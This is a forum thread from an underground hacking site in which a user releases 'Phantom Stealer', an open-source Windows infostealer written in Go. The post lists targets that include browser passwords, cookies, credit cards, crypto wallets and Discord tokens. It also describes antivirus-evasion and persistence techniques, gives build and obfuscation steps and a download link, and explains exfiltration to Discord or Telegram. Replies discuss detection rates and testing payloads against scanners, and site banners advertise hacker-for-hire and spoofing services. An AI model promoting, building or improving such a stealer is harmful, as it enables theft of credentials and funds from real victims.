Cheap KYC Verifications & Openups ◆ ProxiesFood: Unlimited Residential Proxy ◆ Anvilpoint CyberOps - Hacker for Hire ◆ Spoof Call and Spoof SMS set any caller ◆
Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact
Hack Forums Hacks, Exploits, and Various Discussions Blackhat • Red Team • Offensive Security Malware and Viruses › [RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord)

New Reply 

[RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord)
1rhino2
1rhino2 Offline
[n00b@HF:]
*
Registered
Posts:
10
Threads:
2
Credibility:
000
Popularity:
0
βytes:
β 31
Game XP:
0
Dec 9, 2025 02:50 AM
PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code

What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.

Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized

Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook

Download:
github. com/1rhino2/phantom-stealer

Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection

Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.

Questions? Reply below or check the GitHub issues.
gerg61
gerg61 Offline
[n00b@HF:]
*
Registered
Posts:
16
Threads:
0
Credibility:
000
Popularity:
0
βytes:
β 21
Game XP:
0
Dec 9, 2025 10:58 AM
works with latest chrome ver?
1rhino2
1rhino2 Offline
[n00b@HF:]
*
Registered
Posts:
10
Threads:
2
Credibility:
000
Popularity:
0
βytes:
β 31
Game XP:
0
Dec 9, 2025 01:34 PM
(Dec 9, 2025 10:58 AM)gerg61 Wrote:  works with latest chrome ver?

Indeed.
i am
i am Away
Accepting Development Jobs
**
HF l33t
Posts:
157
Threads:
17
Credibility:
700
Popularity:
165
βytes:
β 288.7
Game XP:
3,178
Dec 10, 2025 06:28 AM (This post was last modified: Dec 10, 2025 07:49 AM by i am.)
Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.

Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.
Get ALL OnlyFans Content CHEAP | Premium Posts 55% OFF


Full-Stack Programming Service
sp3cifier
sp3cifier Offline
[n00b@HF:]
*
Registered
Posts:
1
Threads:
0
Credibility:
000
Popularity:
0
βytes:
β 6
Game XP:
0
Dec 11, 2025 02:26 AM (This post was last modified: Dec 11, 2025 02:27 AM by sp3cifier.)
i will test it out
1rhino2
1rhino2 Offline
[n00b@HF:]
*
Registered
Posts:
10
Threads:
2
Credibility:
000
Popularity:
0
βytes:
β 31
Game XP:
0
Dec 11, 2025 05:04 AM
(Dec 10, 2025 06:28 AM)i am Wrote:  Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.

Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.

Sorry to hear, i'll work on fixing that. I haven't worked much with browsers so its my first time, I did some backup research, thought it would work.
randomssa
randomssa Offline
[n00b@HF:]
*
Registered
Posts:
6
Threads:
1
Credibility:
000
Popularity:
0
βytes:
β 16
Game XP:
0
Dec 11, 2025 05:42 AM
Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms
1rhino2
1rhino2 Offline
[n00b@HF:]
*
Registered
Posts:
10
Threads:
2
Credibility:
000
Popularity:
0
βytes:
β 31
Game XP:
0
Dec 11, 2025 06:29 AM
(Dec 9, 2025 02:50 AM)1rhino2 Wrote:  PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code

What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.

Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized

Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook

Download:
github. com/1rhino2/phantom-stealer

Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection

Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.

Questions? Reply below or check the GitHub issues.

Fixing the issue
wiener222213
wiener222213 Offline
[n00b@HF:]
*
Registered
Posts:
9
Threads:
4
Credibility:
000
Popularity:
0
βytes:
β 35
Game XP:
0
Dec 12, 2025 02:54 AM
Ai Generated
ByteDoktor
ByteDoktor Away
[user@HF:]
**
HF l33t
Posts:
173
Threads:
45
Credibility:
000
Popularity:
65
βytes:
β 205.5
Game XP:
0
Dec 12, 2025 08:43 AM
(Dec 12, 2025 02:54 AM)wiener222213 Wrote:  Ai Generated

The code does appear to be that with the amount of comments but i could be wrong and it's still a good educational tool.
SIM-5420628
SIM-5420628 Offline
[n00b@HF:]
*
Registered
Posts:
26
Threads:
3
Credibility:
000
Popularity:
0
βytes:
β 37
Game XP:
282
Dec 23, 2025 08:53 AM
(Dec 11, 2025 05:42 AM)randomssa Wrote:  Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms

I mean you shouldnt expect a free stealer to be ud
kingCode
kingCode Offline
[n00b@HF:]
*
Registered
Posts:
4
Threads:
0
Credibility:
000
Popularity:
0
βytes:
β 4
Game XP:
0
Dec 24, 2025 05:12 AM
Very Nice
sigmaboss2
sigmaboss2 Offline
[n00b@HF:]
*
Registered
Posts:
1
Threads:
0
Credibility:
000
Popularity:
0
βytes:
β 6
Game XP:
0
Jan 5, 2026 05:51 AM
hello your miner very bad work, users not found in pool. 500 hashrate for 10 computer xd
SIM-5730195
SIM-5730195 Offline
[n00b@HF:]
*
Registered
Posts:
8
Threads:
0
Credibility:
000
Popularity:
0
βytes:
β 7
Game XP:
0
Jan 7, 2026 05:52 AM
this does NOT work on the latest chrome version
ShellPower
ShellPower Offline
Message From God
*
Registered
Posts:
120
Threads:
4
Credibility:
000
Popularity:
50
βytes:
β 3,468.82
Game XP:
0
Jan 14, 2026 02:54 PM
(Dec 9, 2025 01:34 PM)1rhino2 Wrote:  Indeed.

Have you managed to try it out yet?

would like to hear some objective opinion
Next Oldest | Next Newest
New Reply 


Possibly Related Threads...
Thread / Author Replies Views Last Post
by rspowerOct 7, 2026 12:23 AM 20 728 Oct 7, 2026 12:23 AM
Last Post: lang2026
by geoshotAug 7, 2026 06:56 PM 5 165 Aug 7, 2026 06:56 PM
Last Post: closedeyeknight
by StormCane9Aug 1, 2026 09:57 PM 2 193 Aug 1, 2026 09:57 PM
Last Post: eddie_1600